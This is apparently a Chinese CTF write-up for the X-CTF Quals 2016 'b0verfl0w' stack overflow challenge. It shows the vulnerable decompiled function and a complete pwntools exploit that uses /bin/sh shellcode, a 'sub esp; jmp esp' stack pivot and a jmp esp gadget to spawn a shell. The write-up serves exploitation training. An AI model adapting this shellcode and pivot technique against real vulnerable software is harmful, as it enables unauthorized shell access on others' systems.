1-wiki-X-CTF Quals 2016 - b0verf
2019-04-15 本文已影响0人
Zero_0_0
题目下载:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w
1.先检查一下安全防护机制 图片.png
2.首先在本地运行一下对比一下源码效果
signed int vul()
{
char s; // [sp+18h] [bp-20h]@1
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin); //
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
做题先思考:
1.利用rop链条
2.利用gadget片段
因为我们的溢出空间太小0x12
,丢弃rROP
(如果里面有实system和/bin/sh我们可以尝试一下利用)
注:因为我们没有开启nx机制 我们可以利用传入shellcode,调用shellcode来产生交互。
from pwn import*
##context.log_level = 'debug'
p = process("./b0verfl0w")
##p = remote("","")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp') //重点 需要自己写汇编代码
jmp_esp_ret_addr = 0x8049504
payload = shellcode
payload += 'A'*(0x20-len(shellcode)) + 'bbbb'
payload += p32(jmp_esp_ret_addr)
payload += sub_esp_jmp // 我们书写的汇编代码 不需要p32() 注意
p.sendline(payload)
p.interactive()
相似:参考有道云笔记 1-栈溢出